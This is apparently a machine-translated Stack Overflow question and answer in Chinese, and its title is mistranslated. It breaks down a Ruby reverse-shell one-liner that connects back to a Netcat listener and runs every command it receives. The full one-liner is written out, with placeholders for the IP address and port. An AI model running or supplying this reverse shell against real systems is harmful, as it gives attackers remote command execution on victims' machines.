【问题标题】:Ruby one-liner breakdown?红宝石单线故障?
【发布时间】:2018-08-28 16:40:10
【问题描述】:

我是 Ruby 新手,并试图更好地理解这个反向 shell 单线,旨在连接回 Netcat 侦听器。

有人可以尝试分解命令并解释某些代码的实际作用吗?例如,我知道“TCPSocket.new”创建了新的 TCP 套接字,但“cmd=c.gets”、“IO.popen”、“|io|c.print io.read”等是什么。 while 循环的用途?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

【问题讨论】:

    标签: ruby-on-rails ruby shell command-line netcat


    【解决方案1】:

    好的,让我们分解一下。

    ruby
    

    运行 ruby​​ 解释器,你可能知道那部分

    -rsocket
    

    相当于require "socket"r for require)

    -e "some string"
    

    some string 作为 ruby​​ 脚本运行(e 用于执行)

    while(cmd=c.gets)
    

    是说“虽然gets(获取字符串直到并包括下一个换行符)从连接c返回一些东西,即当有数据进入时,将其分配给cmd和..

    IO.popen(cmd,'r'){|io|c.print io.read}
    

    .. 运行 cmd 作为 shell 命令,读取输出,然后 print 将其返回到连接 c

    因此,实际上,通过网络接收命令(如ls .rm -rf /),读入,运行,获取输出,然后发回。一直这样做,直到对方停止发送命令。

    因为gets会阻塞并等待下一行进来,这个单行会坐在那里等到连接关闭。

    可能不想让其他人通过该连接发送命令,因为它会运行他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的“反向 shell”的意思。

    【讨论】:

      猜你喜欢
      • 2018-10-09
      • 1970-01-01
      • 2018-10-30
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-08-09
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多